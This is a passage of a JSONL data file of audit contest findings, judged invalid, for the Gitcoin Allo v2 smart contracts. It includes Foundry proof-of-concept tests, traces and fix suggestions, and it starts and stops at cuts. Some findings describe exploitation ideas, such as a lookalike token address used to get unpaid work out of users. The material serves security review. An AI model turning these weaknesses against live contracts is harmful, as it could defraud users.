[0x61C722f0d71e25368789deba8f085415F98204Ca]) [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† true\n ā”‚ ā”‚ ā”œā”€ emit Voted(recipientId: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65], voter: manager_1: [0x61C722f0d71e25368789deba8f085415F98204Ca])\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::stopPrank()\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::startPrank(manager_2: [0xe1540cf8c1F7EC51DF9342C825EC2BF32154e4E4])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [30145] Allo::allocate(2, 0x0000000000000000000000005996d45bebb95e48fef4eeef3d7ee4874160fd650000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000011616c6c6f63617465206d65746164617461000000000000000000000000000000)\n ā”‚ ā”œā”€ [27639] RFPCommitteeStrategy::allocate(0x0000000000000000000000005996d45bebb95e48fef4eeef3d7ee4874160fd650000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000011616c6c6f63617465206d65746164617461000000000000000000000000000000, manager_2: [0xe1540cf8c1F7EC51DF9342C825EC2BF32154e4E4])\n ā”‚ ā”‚ ā”œā”€ [999] Allo::isPoolManager(2, manager_2: [0xe1540cf8c1F7EC51DF9342C825EC2BF32154e4E4]) [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† true\n ā”‚ ā”‚ ā”œā”€ emit Voted(recipientId: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65], voter: manager_2: [0xe1540cf8c1F7EC51DF9342C825EC2BF32154e4E4])\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::stopPrank()\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::startPrank(manager_3: [0xB4997929866Eb6E047D55e5628fbA650E2CE03f3])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [30145] Allo::allocate(2, 0x0000000000000000000000005996d45bebb95e48fef4eeef3d7ee4874160fd650000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000011616c6c6f63617465206d65746164617461000000000000000000000000000000)\n ā”‚ ā”œā”€ [27639] RFPCommitteeStrategy::allocate(0x0000000000000000000000005996d45bebb95e48fef4eeef3d7ee4874160fd650000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000011616c6c6f63617465206d65746164617461000000000000000000000000000000, manager_3: [0xB4997929866Eb6E047D55e5628fbA650E2CE03f3])\n ā”‚ ā”‚ ā”œā”€ [999] Allo::isPoolManager(2, manager_3: [0xB4997929866Eb6E047D55e5628fbA650E2CE03f3]) [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† true\n ā”‚ ā”‚ ā”œā”€ emit Voted(recipientId: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65], voter: manager_3: [0xB4997929866Eb6E047D55e5628fbA650E2CE03f3])\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::stopPrank()\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::startPrank(manager_4: [0xF7f74DF8f85A7F977000bc4dc17C168310d6b6a7])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [30145] Allo::allocate(2, 0x0000000000000000000000005996d45bebb95e48fef4eeef3d7ee4874160fd650000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000011616c6c6f63617465206d65746164617461000000000000000000000000000000)\n ā”‚ ā”œā”€ [27639] RFPCommitteeStrategy::allocate(0x0000000000000000000000005996d45bebb95e48fef4eeef3d7ee4874160fd650000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000011616c6c6f63617465206d65746164617461000000000000000000000000000000, manager_4: [0xF7f74DF8f85A7F977000bc4dc17C168310d6b6a7])\n ā”‚ ā”‚ ā”œā”€ [999] Allo::isPoolManager(2, manager_4: [0xF7f74DF8f85A7F977000bc4dc17C168310d6b6a7]) [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† true\n ā”‚ ā”‚ ā”œā”€ emit Voted(recipientId: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65], voter: manager_4: [0xF7f74DF8f85A7F977000bc4dc17C168310d6b6a7])\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::stopPrank()\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [382] RFPCommitteeStrategy::acceptedRecipientId() [staticcall]\n ā”‚ ā””ā”€ ā† 0x0000000000000000000000000000000000000000\n ā””ā”€ ā† ()\n\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.23ms\n\nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n```\n\n
\n\n\n#### Helper functions used by both tests\n```Javascript\n function _setMilestones(RFPCommitteeStrategy _strategy, address poolManager) internal {\n vm.stopPrank();\n RFPCommitteeStrategy.Milestone[] memory milestones = new RFPCommitteeStrategy.Milestone[](1);\n RFPCommitteeStrategy.Milestone memory milestone = RFPSimpleStrategy.Milestone({\n metadata: Metadata({protocol: 1, pointer: \"metadata\"}),\n amountPercentage: 1e18,\n milestoneStatus: IStrategy.Status.Pending\n });\n\n milestones[0] = milestone;\n\n vm.prank(poolManager);\n _strategy.setMilestones(milestones);\n }\n\n function _register_recipient(uint256 poolId, RFPCommitteeStrategy _strategy, address recipient, address caller)\n internal\n returns (address recipientId)\n {\n Metadata memory metadata = Metadata({protocol: 1, pointer: \"metadata\"});\n\n bytes memory data = abi.encode(recipient, address(0), 1e18, metadata);\n vm.startPrank(caller);\n recipientId = allo().registerRecipient(poolId, data);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nThere are two ways to solve the problem.\n1. Add new variable for Min and Max values for the `votingThreshold` and peroform checks if it is between those values or not\nFor example:\n```diff\n\n function __RPFCommiteeStrategy_init(uint256 _poolId, InitializeParamsCommittee memory _initializeParamsCommittee)\n internal\n {\n console.log(\"RPF commitee:: pool id sent %s\", _poolId);\n // Initialize the RFPSimpleStrategy\n __RFPSimpleStrategy_init(_poolId, _initializeParamsCommittee.params);\n\n // Set the strategy specific variables\n\n+ if(_initializeParamsCommittee.voteThreshold < minThreshold || _initializeParamsCommittee.voteThreshold > maxThreshold) revert();\n voteThreshold = _initializeParamsCommittee.voteThreshold;\n }\n```\n2. Or add a function to update the `votingThreshold` after it has been set during initilization","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/518.md"}} +{"title":"In `QVStrategy`, the `Status.Appeal` is a dead end and it is not possible to in fact, appeal from a rejection","severity":"info","body":"Original Sky Buffalo\n\nmedium\n\n# In `QVStrategy`, the `Status.Appeal` is a dead end and it is not possible to in fact, appeal from a rejection\nAs per the [documentation ](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/README.md), \"Recipients can be accepted, rejected, or appealed based on the review process.\". The common sense behind an appeal is that it is a situation when something is temporarily rejected, because it requires some amendments to be accepted. However, the logic in `QVStrategy` causes \"Appealed\" recipients to fall into a dead end, as this status cannot be changed or processed anymore.\n\n## Vulnerability Detail\nA profile member may register a new candidate for a future recipient using function `registerRecipient` which calls [_registerRecipient](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L369). For a new recipient, status `Pending` is given.\n\nFor a recipient to pass to the allocation/distribution stage, `poolManager` has to review recipients' details, using function [reviewRecipients](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254). \n\nDuring the review, `poolManager` may decide to grant `Status.Rejected`, presumably when a recipient does not meet e.g. community standards.\nIn such situation, the registering user should be able to use the appeal procedure. To do it, the user calls `registerRecipient` again, and the [function updates the status](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L422-L425) to `Status.Appealed`\n\nNow, normally the appealed recipient should be given an opportunity to be reviewed once again. But in [QVBaseStrategy.sol#L268-L271](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L268-L271) there is a comment and a code explicitly saying, that if status is `Appealed`, then revert, so its unable to process that recipient.\n\nIf the registering user once again tries to do register that `recipientId`, it will fail, because in `registerRecipient` there is no conditional block handling `Status.Appealed`. So technically, if someone appeals, the submission will go to a dead end by default, and there is no other code handling this type of status either. The pieces of code are highlighted in the \"Code Snippet\" section.\n\n\n## Impact\nOne of assumed functionality, which is an appeal procedure, does not work at all. The key functionality of the strategy is impaired. Also, while there is no direct funds loss, aside of increased gas/time costs, some recipients may not pass to the final phases due to failing to appeal, which results in future indirect funds loss (considering their standpoint in such situation). \n\n## Code Snippet\n\n[QVBaseStrategy.sol#L268-L271](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L268-L271)\n```solidity\n // if the status is none or appealed then revert\n if (recipientStatus == Status.None || recipientStatus == Status.Appealed) {\n revert RECIPIENT_ERROR(recipientId);\n }\n```\n\n[QVBaseStrategy.sol#L414-L425](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L414-L425)\n```solidity\n if (currentStatus == Status.None) {\n // recipient registering new application\n recipient.recipientStatus = Status.Pending;\n emit Registered(recipientId, _data, _sender);\n } else {\n if (currentStatus == Status.Accepted) {\n // recipient updating accepted application\n recipient.recipientStatus = Status.Pending;\n } else if (currentStatus == Status.Rejected) {\n // recipient updating rejected application\n recipient.recipientStatus = Status.Appealed;\n }\n```\n\n\n## Tool used\nManual Review\n\n## Recommendation\n`Status.Appealed` should in fact be processed during the `reviewRecipients` operation and not cause revert.\nOptionally, if the protocol team intends to restrict possibility of re-registering without a change, an additional logic handling `Status.Rejected` can be added - for example, diff current and pending recipient data - if it differs, then status can be changed from rejected to appealed, or there could be limited number of attempts allowed.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/517.md"}} +{"title":"The votes mapping and votedFor mapping can get out of sync","severity":"info","body":"Kind Velvet Mole\n\nhigh\n\n# The votes mapping and votedFor mapping can get out of sync\nThe votes mapping and votedFor mapping are not kept in sync. votedFor is updated on each call but votes is only incremented. So they could get out of sync\n## Vulnerability Detail\n1. The votedFor mapping keeps track of which recipient an allocator has voted for: [Link 1](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L51)\n2. This is updated whenever an allocator casts a new vote: [Link 2](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L120)\n3. However, the votes mapping which tracks the total votes for each recipient is only incremented when a new vote is cast: [Link 3](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L118)\n\nThis means that if an allocator changes their vote from recipient A to recipient B, the votedFor mapping will be updated to reflect the new vote, but the votes mapping will not be decremented for recipient A.\nSo over time, as allocators change their votes, the votes mapping can end up higher than the actual latest votes reflected in votedFor\n\n\n## Impact\nThis could allow a recipient to be accepted even if they don't actually have enough votes according to the latest votedFor data.\nFor example, say the voteThreshold is 5.\nā€¢\tAllocator 1 votes for Recipient A\nā€¢\tAllocator 2 votes for Recipient A\nā€¢\tAllocator 3 votes for Recipient A\nā€¢\tAllocator 1 changes vote to Recipient B\nā€¢\tAllocator 2 changes vote to Recipient B\nNow based on the latest votes, Recipient B has 2 votes and Recipient A has 1 vote.\nBut because votes for Recipient A was never decremented, the votes mapping will show:\nRecipient A: 3 votes Recipient B: 2 votes\nSo Recipient A could end up getting accepted even though they don't have enough votes per the latest votedFor data.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L51\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L120\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L118\n\n## Tool used\n\nManual Review\n\n## Recommendation\nThe votes mapping needs to be decremented when a vote changes","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/516.md"}} +{"title":"Missing validation that pool token is a valid contract","severity":"info","body":"Sneaky Amethyst Robin\n\nmedium\n\n# Missing validation that pool token is a valid contract\n\nLack of validation that a pool's token is a valid contract can lead to all token transfer functions succeeding, resulting in excessive spent gas or giving an attacker the ability to trick users into doing work.\n\n## Vulnerability Detail\n\nPool creation logic allows for any address to be used as the pool token, without any validation that the token is in fact a deployed contract. All transfer logic used throughout the protocol (both via Transfer.sol and Permit2) uses low level calls to execute token transfers. Low level calls always succeed if the address being called doesn't contain any code, so all execution will proceed as expected, even with cloneable strategies. \n\nConsider for example how this might be manipulable by an attacker:\n- Attacker creates a pool with cloneable strategy (cloneable implies expected functionality)\n - Attacker sets pool token as a well known token address, e.g. WETH, but changes one character for a similar looking one\n- Users interact with the pool assuming that it is the correct address\n - All accounting state is as expected, e.g. getPoolAmount returns an amount as if it's been funded, so it's reasonable to fall for this\n- Attacker convinces users to contribute milestones to receive compensation\n- In the end, the attacker received free work and the user receives no tokens even though all contract state had reasonably suggested that they would be compensated as expected\n\n## Impact\n\nAttackers can convince users of invalid contract state, e.g. contract balance, to trick users into doing work.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/libraries/Transfer.sol#L91\n```solidity\n// @audit comment from solady safeTransferLib (used by Transfer.sol)\n/// - For ERC20s, this implementation won't check that a token has code,\n/// responsibility is delegated to the caller.\n```\n\n```solidity\n// @audit comment from solmate safeTransferLib (used by Permit2)\n/// @dev Note that none of the functions in this library check that a token has code at all! That responsibility is delegated to the caller.\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nInclude logic in `Allo._createPool` to validate that the pool token being used is a contract, e.g.:\n\n```solidity\nif (_token.code.length == 0) revert INVALID_TOKEN();\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/515.md"}} +{"title":"Potential Unauthorized Token Transfers Due to Arbitrary 'From' Address in '_transferAmountFrom' Function","severity":"info","body":"Odd Cream Sheep\n\nmedium\n\n# Potential Unauthorized Token Transfers Due to Arbitrary 'From' Address in '_transferAmountFrom' Function\nThe function _transferAmountFrom in the Transfer contract uses transferFrom function from SafeTransferLib library with an arbitrary from address. This could potentially lead to unauthorized token transfers if not properly validated.\n\n## Vulnerability Detail\nThe function _transferAmountFrom allows for the transfer of tokens from an arbitrary address specified in the TransferData struct. This could potentially allow an attacker to transfer tokens from any address if the function is not properly secured.\n\n## Impact\nIf exploited, this vulnerability could lead to unauthorized token transfers, potentially resulting in loss of funds for unsuspecting users.\n\n## Code Snippet\n```solidity\nfunction _transferAmountFrom(address _token, TransferData memory _transferData) internal returns (bool) {\n uint256 amount = _transferData.amount;\n if (_token == NATIVE) {\n // Native Token\n if (msg.value < amount) revert AMOUNT_MISMATCH();\n SafeTransferLib.safeTransferETH(_transferData.to, amount);\n } else {\n SafeTransferLib.safeTransferFrom(_token, _transferData.from, _transferData.to, amount);\n }\n return true;\n}\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L70-L81\n\nsame issue in this line code\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L53\n\nTool used\nManual Review\n\nRecommendation\nEnsure that the from address in the TransferData struct is validated and authorized to prevent unauthorized token transfers. Consider implementing access controls or permissions to restrict who can call this function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/513.md"}} +{"title":"Funds may be trapped in the `QVSimpleStrategy` contract due a blocked `recipient.recipientAddress`","severity":"info","body":"Brief Mahogany Tiger\n\nmedium\n\n# Funds may be trapped in the `QVSimpleStrategy` contract due a blocked `recipient.recipientAddress`\n\nThe `recipient.recipientAddress` can block the transfer transactions causing that funds may be trapped in the `QVSimpleStrategy`.\n\n## Vulnerability Detail\n\nUsers can register to the `QVSimpleStrategy` using the [QVBaseStrategy::_registerRecipient()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L369C14-L369C32) function, then the `pool managers` accepts registrants using the [QVBaseStrategy::reviewRecipients()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254) function and finally `allocators` allocates votes to the accepted recipients using the [QVSimpleStrategy::_allocate()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107) function. The `recipients` payout is [based on the votes casted](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571) by allocators.\n\nWhen users register to the pool strategy they [specify the `recipientAddress`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L408) which [will be used](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L456) if the user gets a payout from the pool. The problem is that the `recipient.recipientAddress` can block the transfer transactions in different circunstanes:\n\n- Token blocklists. `USDC` and `USDT` have a contract level admin controlled address blocklist. If an address is blocked, then transfers to and from that address are forbidden.\n- Pausable tokens. Some tokens can be paused by the admin blocking the transactions.\n\nConsider the next scenario:\n\n1. The `strategy pool` is using `USDC` as a token.\n2. The `accepted recipient` receives the 90% of votes. He can get the majority payout in [QVBaseStrategy::_distribute()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L436C14-L436C25) function\n3. There are some problems with the `accepted recipient` and his `recipient.recipientAddress` is in the `USDC blocklist`.\n4. The transfer transaction will be reverted in the `QVBaseStrategy::_distribute()` [code line 456](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L456):\n\n```solidity\nFile: QVBaseStrategy.sol\n436: function _distribute(address[] memory _recipientIds, bytes memory, address _sender)\n437: internal\n438: virtual\n439: override\n440: onlyPoolManager(_sender)\n441: onlyAfterAllocation\n442: {\n...\n...\n448: PayoutSummary memory payout = _getPayout(recipientId, \"\");\n449: uint256 amount = payout.amount;\n450: \n451: if (paidOut[recipientId] || !_isAcceptedRecipient(recipientId) || amount == 0) {\n452: revert RECIPIENT_ERROR(recipientId);\n453: }\n454: \n455: IAllo.Pool memory pool = allo.getPool(poolId);\n456: _transferAmount(pool.token, recipient.recipientAddress, amount);\n...\n...\n465: }\n```\n5. Those funds will be trapped in the contract because the `recipient.recipientAddress` can't be changed by the `recipient`, there is not function to do that. Additionally there is not `withdraw()` function in the `QVSimpleStrategy` contract that helps the pool managers to withdraw the unclaimed funds.\n\n## Impact\n\nFunds may be trapped in the `QVSimpleStrategy` contract if there are problems in the transfers caused by irregular `recipientAddress`.\n\n## Code Snippet\n\n- [QVBaseStrategy::_registerRecipient()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L369C14-L369C32)\n- [QVBaseStrategy::_distribute()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L436C14-L436C25)\n\n## Tool used\n\nManual review\n\n## Recommendation\n\nConsider to add a function which helps the accepted recipient to change his `recipient.recipientAddress` in all strategies.\n\nIn the other hand, consider to add a function which helps `pool managers` to withdraw unclaimed funds in the `QVSimpleStrategy` contract. The `DonationVotingMerkleDistributionBaseStrategy` contract has a [withdraw](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L394) function and `RFPSimpleStrategy` contract has a [withdraw](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L295) function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/512.md"}} +{"title":"Pool manager can distribute to rejected milestone in RFPSimpleStrategy and RFPCommitteeStrategy","severity":"info","body":"Immense Teal Penguin\n\nmedium\n\n# Pool manager can distribute to rejected milestone in RFPSimpleStrategy and RFPCommitteeStrategy\nPool manager can distribute to rejected milestone in RFPSimpleStrategy and RFPCommitteeStrategy\n## Vulnerability Detail\nFunction `_distribute()` in RFPSimpleStrategy contract doesn't check if the milestone already got rejected\n```solidity\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n //<@@ NOTICE not checking the status of the milestone \n\n IAllo.Pool memory pool = allo.getPool(poolId);\n Milestone storage milestone = milestones[upcomingMilestone];\n Recipient memory recipient = _recipients[acceptedRecipientId];\n\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n milestone.milestoneStatus = Status.Accepted;\n\n upcomingMilestone++;\n\n // Emit events for the milestone and the distribution\n emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n }\n```\n## Impact\nThis will make a rejected milestone become accepted, and the fund will send to the recipient\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417C1-L450C6\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd this line:\n```solidity\n+ if (milestones[_milestoneId].milestoneStatus != Status.Pending) revert INVALID_MILESTONE();\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/510.md"}} +{"title":"Protocol won't be able to function properly on zkSync Era due to hardcoded native token address","severity":"info","body":"Damaged Cornflower Turkey\n\nmedium\n\n# Protocol won't be able to function properly on zkSync Era due to hardcoded native token address\nHardcoded native token address results in the protocol not being able to be used on zkSync era\n## Vulnerability Detail\nIn `Native.sol` the native token is hardcoded:\n```javascript\naddress public constant NATIVE = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;\n```\n\nThe team has stated that this protocol should work on zkSync Era [here](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/README.md?plain=1#L11). However, zkSync Era does not use the address `0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE` as native token.\n\nzkSync Era uses: `0x000000000000000000000000000000000000800A` as seen [here](https://explorer.zksync.io/address/0x000000000000000000000000000000000000800A) on their explorer.\nThis means that the current implementation of the protocol won't be able to function fully on zkSyc Era.\n\n## Impact\n People will not be able to use Allo with the native token on zkSync Era, therefore, this breaks the core functionality of the protocol.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Native.sol#L24\n## Tool used\nManual Review\n## Recommendation\nConsider adding functionality that can set the address of the native token.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/508.md"}} +{"title":"Lack of `receive()` function in QVSimpleStrategy breaks core functionality of the project","severity":"info","body":"Damaged Cornflower Turkey\n\nmedium\n\n# Lack of `receive()` function in QVSimpleStrategy breaks core functionality of the project\nThere is no `receive() external payable {}` function in `QVSimpleStrategy.sol`, making it impossible to fund pools that use native tokens.\n\n## Vulnerability Detail\n`QVSimpleStrategy.sol` is one of the strategies that will be a clone-able strategy. This strategy should be fully functional. It should support the native token and it should support the non-native token.\n\nHowever, due to having no `receive() external payable {}` function like the other strategies, it is currently not possible to fund a pool with native tokens that uses `QVSimpleStrategy.sol`.\n\nAdd this import to `QVSimpleStrategy.t.sol`:\n```javascript\n// put this in test/foundry/strategies/QVSimpleStrategy.t.sol\nimport {Native} from \"../../../contracts/core/libraries/Native.sol\";\n```\n\nAdd `Native` to make sure `contract QVSimpleStrategyTest is QVBaseStrategyTest, Native`\n```diff\n// change this in test/foundry/strategies/QVSimpleStrategy.t.sol\n- contract QVSimpleStrategyTest is QVBaseStrategyTest {\n+ contract QVSimpleStrategyTest is QVBaseStrategyTest, Native {\n```\n\nPOC:\n```javascript\nsource:test/foundry/strategies/QVSimpleStrategy.t.sol\n// put this in test/foundry/strategies/QVSimpleStrategy.t.sol\n// run using:\n// forge test --match-contract QVSimpleStrategy --match-test test_revertWhenCreatePoolWhileFundingWithNativeToken -vvvv\nfunction test_revertWhenCreatePoolWhileFundingWithNativeToken() public {\n // Create a new QVSimpleStrategy\n QVSimpleStrategy new_strategy = new QVSimpleStrategy(address(allo()), \"MockStrategy\");\n\n // Give the admin 1 ether\n vm.deal(pool_admin(), 1 ether);\n\n vm.expectRevert();\n // Create a new pool using the native token, funding it with 1 ether.\n // This will revert.\n poolId = allo().createPoolWithCustomStrategy{value: 1 ether}(\n poolProfile_id(),\n address(new_strategy),\n abi.encode(\n QVSimpleStrategy.InitializeParamsSimple(\n maxVoiceCreditsPerAllocator,\n QVBaseStrategy.InitializeParams(\n registryGating,\n metadataRequired,\n 3,\n registrationStartTime,\n registrationEndTime,\n allocationStartTime,\n allocationEndTime\n )\n )\n ),\n NATIVE,\n 1 ether, \n poolMetadata,\n pool_managers()\n );\n }\n```\n\nLooking at the traces, you can see that the transfer to the strategy `QVSimpleStrategy.sol` fails.\n```javascript\n ā”‚ ā”œā”€ [0] allo_treasury::fallback{value: 10000000000000000}()\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [46] QVSimpleStrategy::fallback{value: 990000000000000000}()\n ā”‚ ā”‚ ā””ā”€ ā† \"EvmError: Revert\"\n ā”‚ ā””ā”€ ā† 0xb12d13eb\n```\n## Impact\nIt should be possible to create and fund a pool with the native token. This is not possible when using QVSimpleStrategy, therefore, this issue breaks the core functionality of this protocol.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L1-L152\n## Tool used\nManual Review\n## Recommendation\nAdd the following line to `QVSimpleStrategy.sol`:\n```diff\n+ receive() external payable {}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/506.md"}} +{"title":"Protocol charges more than baseFee.","severity":"info","body":"Jovial Red Antelope\n\nmedium\n\n# Protocol charges more than baseFee.\nUsers will have to always pay more than the ```baseFee``` when creating a new pool using the ```_createPool``` function in the **Allo.sol** contract.\n\n## Vulnerability Detail\nIn 